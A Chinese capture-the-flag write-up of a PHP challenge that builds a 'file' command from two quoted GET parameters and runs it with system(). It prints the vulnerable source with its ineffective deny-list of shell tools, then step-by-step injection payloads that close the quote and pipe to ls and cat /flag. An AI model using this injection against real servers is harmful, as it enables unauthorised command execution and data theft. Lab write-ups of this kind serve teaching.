打开页面:
显示:no file
查看源码:
发现新的页面de.php,打开:
可以看到源码
要我们输入两个参数,最后与file拼接,再执行。
知道原理后,开始分析代码:
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1']; #输入第一个参数
$comm2 = $_GET['comm2']; #输入第二个参数
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1)) #对第一个参数进行过滤
$file1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2)) #对第二个参数进行过滤
$file2 = "";
$flag = "#flag in fllllag";
$comm1 = '"' . $comm1 . '"'; #用"把第一个参数包围起来
$comm2 = '"' . $comm2 . '"'; #用"把第二个参数包围起来
$cmd = "file $comm1 $comm2"; # 拼接 file命令
system($cmd); # 执行命令
?>
第一次尝试:
当我们输入:
?comm1=de.php&comm2=de.php
返回了
de.php: PHP script, ASCII text de.php: PHP script, ASCII text
第二次尝试:
当我们输入:
?comm1=ls&comm2=/flag
返回了:
ls: cannot open `ls' (No such file or directory) /flag: ASCII text
我们现在要绕过$cmd = "file $comm1 $comm2";
,执行我们想要执行的命令。
我们看到$comm1 = '"' . $comm1 . '"';
,这句是用"
将我们的输入进行了包围,那么,我们就可以且"
进行闭合。
第三次尝试:
我们输入:
?comm1="|ls;"&comm2=de.php
返回了:
de.php index.html
说明我们的ls
命令被执行了。
所以最终payload如下:
?comm1="|cat%20/flag;"&comm2=de.php
得到了flag:
BMZCTF{f989dea98e2046c09e3048f3ddb24ea7}